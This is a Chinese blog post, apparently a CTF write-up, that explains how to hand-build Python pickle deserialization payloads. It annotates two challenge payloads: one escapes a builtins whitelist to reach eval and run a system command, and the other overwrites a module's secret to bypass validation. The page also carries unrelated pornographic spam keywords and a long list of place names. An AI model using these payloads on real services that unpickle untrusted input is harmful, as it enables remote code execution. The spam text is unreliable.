国产精品天干天干,亚洲毛片在线,日韩gay小鲜肉啪啪18禁,女同Gay自慰喷水

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

python pickle從零構(gòu)造反序列化攻擊利用

2020-11-15 18:36 作者:小小小狗  | 我要投稿

有一篇很好的文章對此講的很詳細(xì)

https://xz.aliyun.com/t/7436#toc-0

此外我對文章中的手寫反序列化一塊進(jìn)行一些補(bǔ)充


幾道例題

Code-Breaking:picklecode

原payload:

b'''cbuiltins

getattr

p0

(cbuiltins

dict

S'get'

tRp1

cbuiltins

globals

)Rp2

00g1

(g2

S'builtins'

tRp3

0g0

(g3

S'eval'

tR(S'__import__("os").system("whoami")'

tR.

'''(建議復(fù)制到python去看)

首先要聲明的一點(diǎn)是反序列化的利用棧是從底端往上的,清楚匯編的同學(xué)應(yīng)該了解這一點(diǎn)


我的注解

b'''白名單REC

cbuiltins #import

getattr ? #獲取builtins白名單方法getattr

p0 ? #將getattr壓入mem0,字典保存


(cbuiltins? ? mark元素c模塊builtins方法dict壓棧

dict

S'get' ? 聲明元素字符串'get'

tRp1 ??

# 創(chuàng)建元組(builtins.dict,'get')調(diào)用getattr(dict,get)并將結(jié)果壓入mem0,保存為1號元素


cbuiltins?

globals ? #獲取builtins屬性globals

)Rp2

# 創(chuàng)建一個空元組,調(diào)用globals(), 結(jié)果壓入mem,保存為2號元素


00g1 #去除棧頂兩個元素,將mem1號元素壓棧,為dict.get

(g2? #mark g2 取出mem中2號元素壓棧并mark,為globals()結(jié)果?


S'builtins' # 定義字符串對象'builtins'

tRp3

# dict.get(globals(),'builtins')并將結(jié)果壓入mem3空間。(windows這里實(shí)測需要__builtins__


0g0 #清棧,載入g0 getattr

(g3? # 載入g3并mark

S'eval'

tR

# getattr(builtins,'eval')結(jié)果壓棧? ?

(S'__import__("os").system("whoami")'

tR.

# 壓入字符串,命令執(zhí)行

'''

高校戰(zhàn)疫網(wǎng)絡(luò)安全分享賽:webtmp

原payload:


b'''c__main__

secret

(S'name'

S"1"

S"category"

S"2"

db0(S"1"

S"2"

i__main__

Animal

.'''


我的注解

b'''變量覆蓋題

c__main__? #導(dǎo)入主模塊

secret # 主模塊的secret

(S'name'

S"1"

S"category"

S"2"

db0

#d 定義了個字典

#b 覆蓋掉secret中的同名字段

#0 清棧

(S"1"

S"2"

i__main__

Animal

#調(diào)用驗(yàn)證方法,這就是題目中的驗(yàn)證類了,盲猜類使用了__main__.secret做驗(yàn)證

.'''


python pickle從零構(gòu)造反序列化攻擊利用的評論 (共 條)

分享到微博請遵守國家法律
霍山县| 临猗县| 辽宁省| 宾阳县| 新津县| 高碑店市| 拜城县| 巴东县| 丰顺县| 潼南县| 确山县| 五台县| 广水市| 临江市| 彰化县| 上虞市| 西乌珠穆沁旗| 凉山| 左权县| 额济纳旗| 涿鹿县| 阿勒泰市| 淳化县| 平果县| 韶关市| 扶沟县| 方城县| 嵊泗县| 龙海市| 太仆寺旗| 玉树县| 陆丰市| 岳西县| 青田县| 高台县| 萍乡市| 青河县| 涟源市| 灵石县| 嘉黎县| 大连市|